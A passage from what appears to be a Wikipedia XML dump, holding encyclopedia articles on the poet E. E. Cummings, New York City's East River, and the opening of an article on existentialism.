Despite Cummings' affinity for [[avant garde]] styles and for unusual typography, much of his work is traditional. Many of his poems are [[sonnet]]s, and he occasionally made use of the [[blues]] form and [[acrostics]] as well.  Cummings' poetry often deals with themes of [[love]] and nature, as well as satire and the relationship of the individual to the masses and to the world.  But, while his poetic forms and even themes show a close continuity with the romantic tradition, his work universally shows a particular idiosyncrasy of [[syntax]] or way of arranging individual words into larger phrases and sentences.  Many of his most striking poems do not involve any typographical or punctuational innovations at all, but purely syntactic ones.

During his lifetime, he published more than 900 poems, along with two novels, several essays, as well as numerous drawings, sketches, and paintings.  He is remembered as one of the preeminent voices of [[Modernist poetry in English|20th century poetry]].

[[Image:EECummings pd2.jpg|thumb|150px|right|Graduation photo from Harvard College, 1915.]]
==Education and early career==
From [[1911]] to [[1916]] Cummings attended [[Harvard]], from which he received a [[Bachelor of Arts|B.A.]] degree in [[1915]] and a [[Master's degree]] for English and Classical Studies in 1916.  While at Harvard, he befriended [[John Dos Passos]]. Several of Cummings' poems were published, beginning in [[1912]], in the ''Harvard Monthly'', a school newspaper on which Cummings worked with fellow [[Harvard Aesthetes]] Dos Passos and [[S. Foster Damon]], and in 1915 in the ''Harvard Advocate''.

From an early age, Cummings studied the classical languages of Greek and Latin.  His affinity for both can be seen in his later works, such as ''XAIPE'' (the title of one of his collections and &quot;Rejoice!&quot; in [[Greek language|Greek]]), ''Anthropos'' (the title of one of his plays and &quot;mankind&quot; in Greek), and &quot;Puella Mea&quot; (the title of his longest poem, and &quot;My Girl&quot; in [[Latin]]).

In his final year at Harvard, he came under the influence of the works of [[avant garde]] writers, such as [[Gertrude Stein]] and [[Ezra Pound]]. Cummings graduated ''[[magna cum laude]]'' from Harvard in 1915, and delivered a controversial commencement address, entitled &quot;The New Art&quot;.  This speech gave him his first taste of notoriety as he managed to give the impression that he thought the well-liked [[imagist]] poet, [[Amy Lowell]] was &quot;abnormal,&quot; when his intention was to praise her. Cummings was lambasted in the newspapers.

In 1917, Cummings' first published poems appeared in a collection of poetry entitled ''Eight Harvard Poets''. That same year Cummings went to [[France]] as a volunteer for the Norton-Harjes Ambulance Corps in [[World War I]].  Due to an administrative mix-up, Cummings was not assigned to an ambulance unit for five weeks, during which time he stayed in [[Paris]].  Cummings became enamored with the city, which he would return to throughout his life. 

[[Image:EECummings pd3.jpg|thumb|150px|right|Cummings as a Private at Fort Devens, Massachusetts, 1918.]]
On [[September 21]] [[1917]], just five months after his belated assignment,  he and a friend, [[William Slater Brown]], were arrested on suspicion of [[espionage]] (the two openly expressed [[pacifism|pacifist]] views on the war).  They were sent to a concentration camp, the ''Dépôt de Triage'', in La Ferté-Macé, [[Orne]], [[Normandy]], where they languished for 3½ months. Cummings' experiences in the camp were later related in his novel ''[[The Enormous Room]]'' about which [[F. Scott Fitzgerald]] opined, &quot;Of all the work by young men who have sprung up since 1920 one book survives- 'The Enormous Room' by E. E. Cummings...Those few who cause books to live have not been able to endure the thought of its mortality.&quot;

He was released from the detention camp on December 19, [[1917]], after much intervention from his politically connected father.  Cummings returned to the United States on New Year's Day [[1918]].  Later in 1918, he was drafted into the [[United States Army|army]].  He served in the 73rd Infantry Division at [[Fort Devens, Massachusetts|Camp Devens, Massachusetts]], until [[November]] [[1918]].

Cummings returned to Paris in [[1921]] and remained there for two years before returning to [[New York]].  During the rest of the [[1920s]] and [[1930s]] he returned to Paris a number of times, and traveled throughout [[Europe]], meeting, among others, [[Pablo Picasso]].  In [[1931]] Cummings traveled to the [[Soviet Union]] and recounted his experiences in ''[[Eimi]]'', published two years later.  During these years Cummings also traveled to [[Northern Africa]] and [[Mexico]] and worked as an essayist and portrait artist for ''[[Vanity Fair (magazine)|Vanity Fair]]'' magazine ([[1924]] to [[1927]]).

==Poetry==
As well as being influenced by notable [[Modernism|modernists]] including Stein and Pound, Cummings early work drew upon the imagist experiments of Amy Lowell. Later his visits to Paris exposed him to [[Dada]] and [[surrealism]], which in turn permeated his work.

While some of his poetry is [[free verse]] (with no concern for [[rhyme]] and [[scansion]]), many of his poems have a recognizable [[sonnet]] structure of 14 lines, with an intricate rhyme scheme.  A number of his poems feature a typographically exuberant style, with words, parts of words, or punctuation symbols scattered across the page, often making little sense until read aloud&amp;mdash;at which point the meaning and emotion become clear.  As a painter, Cummings understood the importance of presentation, and used typography to &quot;paint a picture&quot; with some of his poems.{{ref|Landles}}

Even in his earliest work the seeds of Cummings' unconventional style seem well established. At age six Cummings wrote to his father:

FATHER DEAR. BE, YOUR FATHER-GOOD AND GOOD,&lt;br&gt;
HE IS GOOD NOW, IT IS NOT GOOD TO SEE IT RAIN,&lt;br&gt;
FATHER DEAR IS, IT, DEAR, NO FATHER DEAR,&lt;br&gt;
LOVE, YOU DEAR,&lt;br&gt;
ESTLIN.&lt;br&gt;

Cummings' first published work following The Enormous Room was a collection of poems entitled ''Tulips and Chimneys'' (1923). The collection was the public's first encounter with his characteristic eccentric use of grammar and punctuation. An example:

l(a&lt;br&gt;

le&lt;br&gt;
af&lt;br&gt;
fa&lt;br&gt;

ll&lt;br&gt;

s)&lt;br&gt;
one&lt;br&gt;
l&lt;br&gt;

iness&lt;br&gt;

Some of Cummings's most famous poems do not involve much if any odd typography or punctuation at all, but still carry his unmistakable style.  For example, one famous poem begins:

''anyone lived in a pretty how town'' &lt;br&gt;
''(with up so floating many bells down)'' &lt;br&gt;
''spring summer autumn winter'' &lt;br&gt;
''he sang his didn't he danced his did'' &lt;br&gt;

''Women and men(both little and small)'' &lt;br&gt;
''cared for anyone not at all''&lt;br&gt;
''they sowed their isn't they reaped their same'' &lt;br&gt;
''sun moon stars rain'' &lt;br&gt;

Another poem begins as follows:

''why must itself up every of a park'' &lt;br&gt;
''anus stick some quote statue unquote to'' &lt;br&gt;
''prove that a hero equals any jerk'' &lt;br&gt;
''who was afraid to dare to answer'' &quot;''no''&quot;?'' &lt;br&gt;
[[Image:TheDialJan1920-Cummingspoem.jpg|thumb|right|150px|Cummings' unusual style can be seen in his poem &quot;[[Buffalo Bill]]'s/ defunct&quot; from the January 1920 issue of ''[[The Dial]]''.]]
Readers sometimes experience a jarring, incomprehensible effect because the poems do not accord with the conventional combinatorial rules that generate typical English sentences.  (For example &quot;Why must itself...&quot; or &quot;they sowed their isn't [...]&quot;).  His readings of [[Gertrude Stein]] in the early part of the century probably functioned as a springboard into this aspect of his artistic development (in the same way that [[Robert Walser]]'s work acted as a springboard for [[Franz Kafka]]).  In some respects, Cummings's work shows more stylistic continuity with Stein's than with any other poet or writer.

In addition, a number of Cummings' poems feature in part or in whole intentional misspellings;  several feature phonetic spellings intended to represent particular dialects.  Cummings also made use of inventive formations of compound words, as in [http://etext.lib.virginia.edu/images/modeng/public/Cum2Dia/CumDi580.jpg &quot;in Just-&quot;], which features words such as &quot;mud-luscious&quot; and &quot;puddle-wonderful&quot;.

Many of Cummings' poems address social issues and satirize society (see &quot;why must itself up every of a park&quot;, above), but have an equal or even stronger bias toward romanticism: time and again his poems celebrate love, sex and spring (see &quot;anyone lived in a pretty how town&quot; in its entireity). 

His talent extended to children's books, novels, and painting. A notable example of his versatility is an [[Introduction (essay)|Introduction]] he wrote for a collection of the [[comic strip]] ''[[Krazy Kat]]''.

An example of Cummings' unorthodox typographical style can be seen in his poems &quot;[http://infocom.cqu.edu.au/Courses/2002/T3/MMST11001/course_site/images/readings/Cummings.gif the sky was candy luminous...]&quot; and &quot;[http://home.mn.rr.com/akhara/images/l.gif a leaf falls loneliness]&quot;.

==Criticisms==
Cummings has been criticized for allowing himself to become static in [[technique]], and accordingly showing a lack of artistic growth.   He has also been labeled by some as a [[misanthropy|misanthrope]] due to his sometimes harsh [[satire]]. &lt;!-- Some critics say his depictions of [[society]]'s [[hypocrisy]] are [[monotony]] [[elitist|elitism]] and [[self-indulgence|self-indulgent]]. (this sentence should be rewritten for clarity)--&gt;For a time there was a claim that some of his early works feature [[racism|racist]] and [[Anti-Semitism|anti-semitic]] overtones.{{ref|empzine}} However, it is more often noted by critics that although his approach to form did not often vary, his messages grew stronger, harsher, and more effortlessly romantic in his final years.

==Cummings as a painter==
&lt;div style=&quot;float: right; margin-left: 20px;&quot;&gt;
&lt;gallery&gt;
Image:EECummings pd4.jpg|Self-portrait sketch by Cummings, circa 1920
Image:TheDialJan1920-Cummingssketch.jpg|Sketch by Cummings, from the January 1920 ''Dial''&lt;/gallery&gt;
&lt;/div&gt;Cummings always considered himself just as much a painter as he was a poet or writer.  Especially in his later years, spent at his home in [[New Hampshire]], Cummings would paint during the day and then write at night.

Beginning with his years at Harvard and continuing on into the 1920s, Cummings identified with the artistic movements of [[Cubism]], [[Dada]], and [[Surrealism]].  He particularly admired the work of [[Pablo Picasso]].

Cummings first received critical acclaim for his drawings and [[caricature]]s published in the literary magazine the ''[[The Dial|Dial]]'' during the 1920s.  Cummings later gained recognition as a painter, participating in a number of art shows.  He also published ''[[CIOPW]]'', a collection of works in the mediums charcoal, ink, oil, pastel, and watercolor, in [[1931]].

===List of shows===
Cummings' paintings were placed in a number of shows during his lifetime, including:
*Two paintings in a show of the New York Society of Independent Artists ([[1919]], [[1920]])
*Show of paintings at the Painters and Sculptors Gallery in New York, New York ([[1931]])
*Show at the Kokoon Arts Club in [[Cleveland, Ohio]] (1931)
*Show of oils and watercolors at the American British Art Gallery in New York, New York ([[1944]])
*Show of oils, watercolors, and sketches in [[Rochester, New York]] ([[1945]])
*Show of watercolors and oils at the American British Art Gallery in New York, New York ([[1948]])

==Cummings as a playwright==
During his lifetime, Cummings published four plays:  ''him'' ([[1927]]), ''Anthropos: or, the Future of Art'' ([[1930]]), ''Tom: A Ballet'' ([[1935]]), and ''Santa Claus: A Morality'' ([[1946]]).

*''him'', a three-act play, was first produced in 1928 by the Provincetown Players in New York City.  The production was directed by James Light.  The play's main characters are &quot;Him&quot;, a playwright, and &quot;Me&quot;, his girlfriend.  Cummings said of the unorthodox play:
::&quot;Relax and give the play a chance to strut its stuff—relax, stop wondering what it is all 'about'—like many strange and familiar things, Life included, this play isn't 'about,' it simply is. . . . Don't try to enjoy it, let it try to enjoy you. DON'T TRY TO UNDERSTAND IT, LET IT TRY TO UNDERSTAND YOU.&quot; {{ref|Kennedy2}}

*''Anthropos, or the Future of Art'' is a short, one-act play that Cummings contributed to the anthology ''Whither, Whither or After Sex, What? A Symposium to End Symposiums''.  The play consists of dialogue between Man, the main character, and three &quot;infrahumans&quot;, or inferior beings.  The word ''anthropos'' is the [[Greek language|Greek]] word for &quot;man&quot;, in the sense of &quot;mankind&quot;.

*''Tom, A Ballet'' is a [[ballet]] based on ''[[Uncle Tom's Cabin]]''.  The ballet is detailed in a &quot;synopsis&quot; as well as descriptions of four &quot;episodes&quot;, which were published by Cummings in 1935.  It has never been performed.  More information about the play as well as an illustration can be found at [http://www.gvsu.edu/english/cummings/Tom.html this webpage] from the E. E. Cummings Society.

*''Santa Claus: A Morality'' was probably Cummings' most successful play.  It is an allegorical Christmas fantasy presented in one act of five scenes.  The play was inspired by his daughter Nancy, with whom he was reunited in 1946.  It was first published in the Harvard University magazine the ''Wake''.  The play's main characters are Santa Claus, his family (Woman and Child), Death, and Mob.  At the outset of the play, Santa Claus' family has disintegrated due to their lust for knowledge (Science).  After a series of events, however, Santa Claus' faith in love and his rejection of the materialism and disappointment he associates with Science are reaffirmed, and he is reunited with Woman and Child.

==The final decade==
In [[1952]], his [[alma mater]] Harvard awarded Cummings an honorary seat as a guest professor.  The lectures he gave in 1952 and 1953 were later collected as ''i:six nonlectures''.  

Cummings spent the last decade of his life largely traveling, fulfilling speaking engagements, and spending time at his summer home, Joy Farm, in New Hampshire.

==Awards==
During his lifetime, E. E. Cummings received numerous awards in recognition of his work, including:
*Dial Award ([[1925]])
*[[Guggenheim Fellowship]] ([[1933]])
*Shelley Memorial Award for Poetry ([[1944]])
*[[Harriet Monroe]] Prize from ''Poetry'' magazine ([[1950]])
*Fellowship of [[American Academy of Poets]] (1950)
*[[Guggenheim Fellowship]] ([[1951]])
*[[Charles Eliot Norton]] Professorship at Harvard ([[1952]]-[[1953]])
*Special citation from the [[National Book Award]] Committee for his ''Poems, 1923-1954'' ([[1957]])
*[[Bollingen Prize]] in Poetry (1957)
*Boston Arts Festival Award (1957)
*Two-year [[Ford Foundation]] grant of $15,000 ([[1959]])

==Personal life==
E. E. Cummings was born in [[Cambridge, Massachusetts]], to Edward and Rebecca Haswell Clarke Cummings.  Cummings' father was a professor of [[sociology]] and [[political science]] at [[Harvard University]] and later a [[Unitarian]] minister.  Raised in a liberal family, Cummings was writing poetry as early as [[1904]] (age 10).  His only sibling, a sister, Elizabeth, was born six years after he was.
[[Image:EECummings pd1.jpg|thumb|150px|right|Graduation photo from the Cambridge Latin School, 1911.]]
In his youth Cummings attended [[Cambridge Rindge and Latin|Cambridge Latin High School]].  Early stories and poems were published in the ''Cambridge Review'', the school newspaper.

In [[1926]], Cummings' father, whom he was close to, and who was one of Cummings' most ardent supporters, was killed suddenly and tragically in a car accident.  Though severely injured, Cummings' mother survived, and lived for more than twenty years until her death in [[1947]].  Cummings detailed the accident in the following quote, from Richard S. Kennedy's biography of Cummings, ''Dreams in the Mirror'' {{ref|Kennedy}}:

:''&quot;... a locomotive cut the car in half, killing my father instantly. When two brakemen jumped from the halted train, they saw a woman standing &amp;ndash; dazed but erect &amp;ndash; beside a mangled machine; with blood spouting (as the older said to me) out of her head. One of her hands (the younger added) kept feeling her dress, as if trying to discover why it was wet. These men took my sixty-six year old mother by the arms and tried to lead her toward a nearby farmhouse; but she threw them off, strode straight to my father's body, and directed a group of scared spectators to cover him. When this had been done (and only then) she let them lead her away.&quot;''

His father's death had a profound impact on Cummings, who entered a new period in his artistic life.  Cummings began to focus on more important aspects of life in his poetry.  He began this new period by paying homage to his father's memory in the poem &quot;[http://www.cs.berkeley.edu/~richie/poetry/html/aupoem114.html my father moved through dooms of love]&quot; {{ref|Lane}}.

Cummings died in [[1962]] in [[North Conway, New Hampshire]], after having a [[cerebral hemorrhage]] at the age of 69.  He is buried in [[Forest Hills Cemetery]] in [[Boston, Massachusetts]].

===Marriages===
Cummings was married twice, including a long [[common-law marriage]].

Cummings' first marriage, to Elaine Orr, began as a love affair in [[1919]] while she was married to [[Scofield Thayer]], one of Cummings' friends from Harvard.  The affair produced a daughter, Nancy, who was born on [[December 20]], [[1919]].  Nancy was Cummings' only child.  After obtaining a divorce from Thayer, Elaine and Cummings married on [[March 19]], [[1924]].  However, the marriage ended in divorce less than nine months later, when Elaine left Cummings for a wealthy Irish banker, moving to [[Ireland]] and taking Nancy with her.  Although under the terms of the divorce Cummings was granted custody of Nancy for three months each year, Elaine refused to abide by the agreement. Cummings did not see his daughter again until [[1946]].

Cummings married his second wife, Anne Minnerly Barton, on [[May 1]], [[1929]].  The two separated three years later in [[1932]].  That same year, Anne obtained a divorce in Mexico, although it was not officially recognized in the United States until [[August]] [[1934]].

In [[1932]], the same year he and his second wife separated, Cummings met Marion Morehouse, a fashion model and photographer.  Although it is not clear if the two were ever officially married, Morehouse would live with Cummings for the remainder of his life.

==Bibliography==
* ''The Enormous Room'' (1922)
*''[[Tulips and Chimneys]]'' (1923)
*''&amp;'' (1925) (Self-published)
*''XLI Poems'' (1925)
*''[[is 5]]'' (1926)
*''ViVa'' (1931)
*''[[Eimi]]'' (1933)
*''[[No Thanks]]'' (1935)
*''Collected Poems'' (1938)
*''50 Poems'' (1940)
*''1 × 1'' (1944)
*''Xaipe: Seventy-One Poems'' (1950)
*''Poems, 1923-1954'' (1954)
*''95 Poems'' (1958)
*''73 Poems'' (1963) (Posthumous)
*''[[Fairy Tales]]'' (1965) (Posthumous)

== External links ==
* {{gutenberg author| id=Cummings+E.+E.+(Edward+Estlin) | name=E. E. Cummings}}

==Further reading==
A number of books have been written about E. E. Cummings, notably:
*''Dreams in the Mirror: A Biography of E. E. Cummings'', by [[Richard S. Kennedy]]
*''E. E. Cummings: A Collection of Critical Essays'', edited by [[Norman Friedman]]
*''E. E. Cummings: The Art of his Poetry'', by Norman Friedman
*''E. E. Cummings: A Bibliography'', by [[George James Firmage]]

==Notes==
*{{note|capsokay}} {{cite web
 | last = Friedman | first =  Norman
 | year = 1992
 | title = NOT &quot;e. e. cummings&quot;
 | url = http://www.gvsu.edu/english/cummings/caps.htm
 | accessdate = 2005-12-13
 }}
*{{note|Kennedy}} p. 293, Kennedy (1980)
*{{note|Lane}} {{cite book
 | first = Gary | last = Lane
 | authorlink = Gary Lane
 | year = [[1976]]
 | title = I Am: A Study of E. E. Cummings' Poems
 | location = [[Lawrence, Kansas]]
 | publisher = University Press of Kansas
 | id = ISBN 0700601449
 | pages = p. 41–43
 }}
*{{note|Landles}} {{cite journal
 | first = Iain | last = Landles
 | authorlink = Iain Landles
 | year = 2001
 | title = An Analysis of Two Poems by E.E. Cummings
 | journal = SPRING, The Journal of the E. E. Cummings Society
 | volume = 10
 | pages = 31–43
 }}
*{{note|empzine}} {{cite web
 | last = Shafer | first =  Nancy Imelda
 | year = 2005
 | title = ee cummings
 | url = http://www.empirezine.com/spotlight/cummings/cummings.htm
 | accessdate = 2005-04-17
 }}
*{{note|Kennedy2}} p. 295, Kennedy (1980)

[[Category:1894 births|Cummings, E.E.]]
[[Category:1962 deaths|Cummings, E.E.]]
[[Category:American poets|Cummings, E.E.]]
[[Category:Harvard alumni|Cummings]]

[[de:E. E. Cummings]]
[[es:E. E. Cummings]]
[[fr:E. E. Cummings]]
[[nl:E.E. Cummings]]
[[no:E.E. Cummings]]
[[pl:Edward Estlin Cummings]]
[[pt:E. E. Cummings]]</text>
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  </page>
  <page>
    <title>East River</title>
    <id>9592</id>
    <revision>
      <id>41457515</id>
      <timestamp>2006-02-27T13:40:56Z</timestamp>
      <contributor>
        <username>Alansohn</username>
        <id>118722</id>
      </contributor>
      <comment>It's a [[strait]], not an [[estuary]]; there's no fresh water source (as does the [[Hudson River]])</comment>
      <text xml:space="preserve">:''This article is about the East River in [[New York City]]. For other uses, see [[East River (disambiguation)]].''
{{main|Geography and environment of New York City}}
[[Image:Waterways New York City Map Julius Schorzman.png|thumbnail|right|350px|'''New York City waterways:''' 1. [[Hudson River]], 2. [[East River]], 3. [[Long Island Sound]], 4. [[Newark Bay]],  5. [[Upper New York Bay]], 6. [[Lower New York Bay]], 7. [[Jamaica Bay]], 8. [[Atlantic Ocean]]]]

[[Image:Brooklyn_Manhattan_Williamsburg_Bridges.jpg|thumb|right|350px|Southern view of the Brooklyn, Manhattan, and Williamsburg bridges (front to back), seen from the East River.]]

[[Image:Wpdms terra east river.jpg|thumbnail|right|250px|The East River is shown in red on a satellite photo of New York City]]

The '''East River''' is a tidal [[strait]] in [[New York City]] connecting [[Upper New York Bay]] on its south end to [[Long Island Sound]] on its north end. It separates [[Long Island]] (including the boroughs of [[Queens]] and [[Brooklyn]]) from the island of [[Manhattan]] and [[the Bronx]].

In reference to its connection to Long Island Sound, it was once also known as the ''Sound River''.   

The river is spanned by eight [[bridge]]s, which from north to south are:
*[[Throgs Neck Bridge]]
*[[Bronx-Whitestone Bridge]]
*[[Hell Gate Bridge]]
*[[Triborough Bridge]]
*[[Roosevelt Island Bridge]] (east channel only)
*[[Queensboro Bridge]]
*[[Williamsburg Bridge]]
*[[Manhattan Bridge]]
*[[Brooklyn Bridge]]. 

Historically, the lower portion of the river (separating Manhattan from Brooklyn) was one of the busiest and most important channels in the world, particularly during the first three centuries of New York City's history. The [[Brooklyn Bridge]], opened in 1883, was the first bridge to span the river, replacing frequent ferry service. (Some passenger ferry service remains between Queens and Manhattan.) 

A total of thirteen [[tunnel]]s run under the East River. Two of them, the [[Brooklyn-Battery Tunnel]] and [[Queens-Midtown Tunnel]], carry automobile traffic. One carries inter-city and commuter railroad traffic connecting to [[New York Penn Station]]. The remaining ten carry [[East River Subway Tunnels|subway traffic]].

The [[Bronx River]] drains into the East River in the northern section of the strait.

North of [[Ward's Island]], it is joined by the [[Bronx Kill]]. Along the east of Ward's Island, at approximately the strait's midpoint, it narrows into a channel called [[Hell Gate]], which is spanned by both the [[Triborough Bridge]] and the [[Hell Gate Bridge]]. On the south side of Ward's Island, it is joined by the [[Harlem River]].

[[Newtown Creek]] on Long Island drains into the East River, forming part of the boundary between Queens and Brooklyn.

The East River contains a number of [[island]]s, including:
*Upper section
**[[Riker's Island]]
**[[North Brother Island]]
**[[South Brother Island]]
*Lower Section
**[[Ward's Island]] and [[Randall's Island]] (joined by [[land reclamation|landfill]])
**[[Roosevelt Island]]
**[[U Thant Island]] (Belmont Island)

==See also==
*[[List of New York rivers]]
*[[Geography and environment of New York City]]

==External links==
*[http://www.eastrivernyc.org East River page from the Greater Astoria Historical Society]
*[http://www.licboathouse.org LIC Community Boathouse site for free paddling on the East River]
*[http://www.astoriawaterfront.org Western Queens waterfront information page]

{{New York City}}
[[category:East River|*]]

[[he:&amp;#1504;&amp;#1492;&amp;#1512; &amp;#1488;&amp;#1497;&amp;#1505;&amp;#1496;]]
[[pt:Rio East]]</text>
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  </page>
  <page>
    <title>Existentialism</title>
    <id>9593</id>
    <revision>
      <id>42061765</id>
      <timestamp>2006-03-03T15:19:23Z</timestamp>
      <contributor>
        <username>A-moll9</username>
        <id>805314</id>
      </contributor>
      <minor />
      <comment>/* Existentialism before 1970 */ Pensées was published posthumus, and therefor it is wrong to say he published it. (see the article on Pascal to verify)</comment>
      <text xml:space="preserve">{{original research}}

'''Existentialism''' is a [[philosophical movement]] that views human [[existence]] as having a set of underlying themes and characteristics, such as anxiety, dread, freedom, awareness of death, and consciousness of existing. Existentialism is also an outlook, or a perspective, on life that pursues the question of the meaning of life or the meaning of existence. It is this question that is seen as being of paramount importance, above both scientific and other philosophical pursuits.

The Danish philosopher [[Søren Kierkegaard]] (1813-1855), the &quot;father of existentialism,&quot; asserted that &quot;truth is subjectivity&quot;: human beings can be understood only from the inside, in terms of their lived and experienced reality and dilemmas, not from the outside, in terms of a biological, psychological, or other scientific theory of human nature.  Existentialism emphasizes action, freedom, and decision as fundamental to human existence and is fundamentally opposed to the [[rationalism|rationalist]] tradition and to [[positivism (philosophy)|positivism]].  That is, it argues against definitions of human beings either as primarily rational, knowing beings who relate to reality primarily as an object of [[knowledge]] or whose action can or ought to be regulated by rational principles, or as beings who can be defined in terms of their behavior as it looks to or is studied by others. More generally it rejects all of the Western rationalist definitions of Being in terms of a rational principle or essence or as the most general feature that all existing things share in common. Existentialism tends to view human beings as subjects in an indifferent, objective, often ambiguous, and &quot;absurd&quot; universe in which meaning is not provided by the natural order, but rather can be created, however provisionally and unstably, by human beings' actions and interpretations.

Human beings are exposed to or, to use the philosopher [[Martin Heidegger]]'s phrase, &quot;thrown&quot; into, existence.  Existentialists consider being thrown into existence as prior to, and the horizon or context of, any other thoughts or ideas that humans have or definitions of themselves that they create.  This is part of the meaning of the assertion of the philosopher [[Jean-Paul Sartre]], one of the founders of existentialism, &quot;existence is prior to essence.&quot;  Existentialism conceives of [[Being]] itself as something that can only be understood through and in relation to these basic characteristics of human existence.  

In terms of the existence and relevance of God, there are three schools of existentialist thought: atheistic existentialism ([[Jean-Paul Sartre|Sartre]]), [[Christian existentialism]] ([[Kierkegaard]]) and a third school, agnostic existentialism, which proposes that whether God exists or not is irrelevant to the issue of human existence - God may or may not exist ([[Heidegger]]).

Although there are certain common tendencies among existentialist thinkers, there are major differences and disagreements among them, and not all of them even affiliate themselves with or accept the validity of the term &quot;existentialism&quot;, which was coined by [[Gabriel Marcel]] and popularized especially by Sartre. In German the phrase ''Existenzphilosophie'' (philosophy of existence) is also used.

== Overview ==
Existentialism was inspired by the works of [[Søren Kierkegaard]], [[Fyodor Dostoyevsky]] and the [[Germany|German]] philosophers [[Friedrich Nietzsche]], [[Edmund Husserl]], and [[Martin Heidegger]]. It became popular in the mid-[[20th century]] through the works of the French writer-philosophers [[Jean-Paul Sartre]] and [[Simone de Beauvoir]] whose versions of existentialism are set out in a popular form in Sartre's [[1946]] ''L'Existentialisme est un humanisme'', translated as ''[[Existentialism is a Humanism]]''.

Kierkegaard, [[Karl Jaspers]], and [[Gabriel Marcel]] pursued theological versions of existentialism, most notably [[Christian existentialism]].  Other theological existentialists include [[Paul Tillich]], [[Miguel de Unamuno]], and [[Martin Buber]].  Moreover, one-time [[Marxism|Marxist]] [[Nikolai Berdyaev]] developed a philosophy of Christian existentialism in his native [[Russia]], and later in [[France]], in the decades preceding [[World War II]].

[[Georg Wilhelm Friedrich Hegel]] and [[Arthur Schopenhauer]] are also important influences on the development of existentialism (although not direct precursors) because the philosophies of Søren Kierkegaard and Friedrich Nietzsche were written in response or opposition to Hegel and Schopenhauer, respectively.

==Major concepts in existentialism==
Existentialism differentiates itself from the modern Western rationalist tradition extending from [[Descartes]] to [[Husserl]] by rejecting the idea that the most certain and primary reality is rational consciousness.  Descartes argued that humans could think away everything that exists and doubt its reality but that humans could not think away or doubt the thinking consciousness, whose reality is therefore more certain than any other reality. Existentialism decisively rejects this argument, asserting instead that as conscious beings humans always find themselves already in a world, a prior context and history that is given to consciousness and in which it is situated, and that humans cannot think away that world.  It is inherent and indubitably linked to consciousness.  In other words, the ultimate, certain, indubitable reality is not thinking consciousness but, according to Heidegger, &quot;being in the world.&quot;  This is a radicalization of the notion of [[intentionality]] that comes from [[Brentano]] and [[Husserl]], which asserts that, even in its barest form, consciousness is always conscious ''of something''.

===Atheistic Existentialism===
Sartre's dictum, &quot;Existence precedes and rules essence,&quot; is generally taken to mean that ''there is no pre-defined essence to humanity, except that which people make for themselves''.  Since Sartrean existentialism does not acknowledge the existence of a [[god]], or of any other determining principle, [[human being]]s are free to act as they choose; his abovementioned essay is the most programmatic and straightforward statement of this principle.  Even if an individual believes that he has an essence -- such as a soul or rationality or a psychological type -- that essence is a choice that he is making rather than something pre-existing that is imposed on him.

===Christian Existentialism===
In contrast to Sartre's atheism, Kierkegaard's Christian existentialism focused on the relationship between the self and God. Kierkegaard never posited or thought it possible to prove the existence of God. However, he argued that an individual could, despite one's doubt, have faith that God exists and that God is good. This leap of faith was for Kierkegaard a choice that an individual must make in defining his or her life. The leap of faith signifies an individual's choice to embrace meaning in life. As with atheistic existentialism, Kierkegaard's Christian existentialism does not impose a reality or meaning on the individual; rather, the individual makes the choice to take meaning in life and to define his or her life. Kierkegaard wrote that the individual person is infinite in depth, and ultimately, &quot;subjectivity is truth&quot; and &quot;truth is subjectivity&quot; (''Concluding Unscientific Postscript to Philosophical Fragments'').

===Common Threads===
Since there is no predefined [[human nature]] (or even if there were, that human nature would be infinite), nor any ultimate evaluation of life beyond that which humans project onto the world, individuals may only be judged or defined by their actions and choices.

==Existentialism before 1970==
An early forerunner of existentialism was [[Blaise Pascal]].  In 1670, his book [[Pensées]] was published, in which he described many fundamental themes of existentialism.  Pascal argued that without a God, life would be meaningless and miserable. People would only be able to create obstacles and overcome them in an attempt to escape boredom.  These token-victories would ultimately become meaningless, since people would eventually die.  This was good enough reason not to choose to become an atheist according to Pascal. Sartre takes this idea of avoiding the inevitable death as bad faith.  Camus embraces the idea that without a God ultimately everything is meaningless, and tries to find meaning within it.  

The first philosophers considered existentialists are [[Søren Kierkegaard]] and [[Friedrich Nietzsche]], even though the term had not yet come into use. Like Pascal, they were interested in people's concealment of the meaninglessness of life and their use of diversion to escape from boredom.  However, what Pascal did not write about was that people can create and change their fundamental values and beliefs.  Kierkegaard and Nietzsche realized that human nature and human identity vary depending on what values and beliefs humans hold.  In contrast Pascal did not reason that human nature and identity are constituted by the free decisions and choices of people.  Sartre builds strongly on that idea with his ''existence precedes essence'' dictum.

The thought of the major existentialist philosophers of the 20th century, Heidegger and Sartre, grew out of the [[phenomenology]] of Husserl, which attempted to critique [[positivism]] and [[psychologism]] by grounding all perception, experience, and knowledge in structures of human [[consciousness]].  Husserl stressed that all Being is always being for a consciousness.  Heidegger transformed this into the core existentialist notion that Being is always being, not for a pure consciousness, but rather for a concrete existence, that is that consciousness is a property of a (human) existence (''Dasein'') that has &quot;being-in-the-world,&quot; and exists in a concrete historical context.  Sartre developed his version of existentialist philosophy under the influence of Husserl and Heidegger.

In the [[1950s]] and [[1960s]], existentialism experienced a resurgence of interest in popular artforms. In fiction, [[Jack Kerouac]] and the [[Beat poets]] adopted existentialist themes. [[Herman Hesse]]'s ''[[Steppenwolf (novel)|Steppenwolf]]'', based on an idea in Kierkegaard's ''Either/Or'' (1843), sold well in the West, and &quot;arthouse&quot; films began quoting and alluding to existentialist thought and thinkers. Simultaneously, in Sartre, [[Paris]] university students found a hero for the [[May 1968]] demonstrations, and others were appropriating the thematic pessimism found in [[Albert Camus]] and [[Søren Kierkegaard]]. The despair of choice and the despair of the unknowing self featured prominently (often in [[pidgin]] form) in cinema and novels.

==Existentialism since 1970==
Although [[Postmodernism|postmodernist]] thought became the focus of intellectuals in the [[1970s]] and thereafter (whether the movement is strong today, and what, if anything, has replaced it, still is debated), much postmodern writing is existential --unsurprising, since postmodernism evolved from the thought of Nietzsche and Heidegger (two of the greatest proto-existential philosophers), despite Heidegger's rejecting the existentialist label.

One should, however, not confuse postmodernism with existentialism. Thematically postmodern films such as ''[[The Matrix]]'' posit the idea of [[simulacrum]], dealing with reality and appearance, and of how the latter renders the former indistinguishable, if the artificial can sufficiently mimic the real (see [[Jean Baudrillard]], the philosopher whose work was a primary influence on the film). Alternatively, existential cinema deals more with the themes of:

#Retaining authenticity in an apathetic, mechanical world, something [[post-modernism]] would staunchly reject--as authenticity is related to a non-existent &quot;reality&quot;.
#The consciousness of death; e.g. Heidegger's 'being towards death'--exemplified in [[Ingmar Bergman]]'s film &quot;[[The Seventh Seal]]&quot; (1957).
#The feelings of alienation and loneliness consequent to being unique in a world of many, or, in Nietzsche's phrase, &quot;herd-animals&quot;.
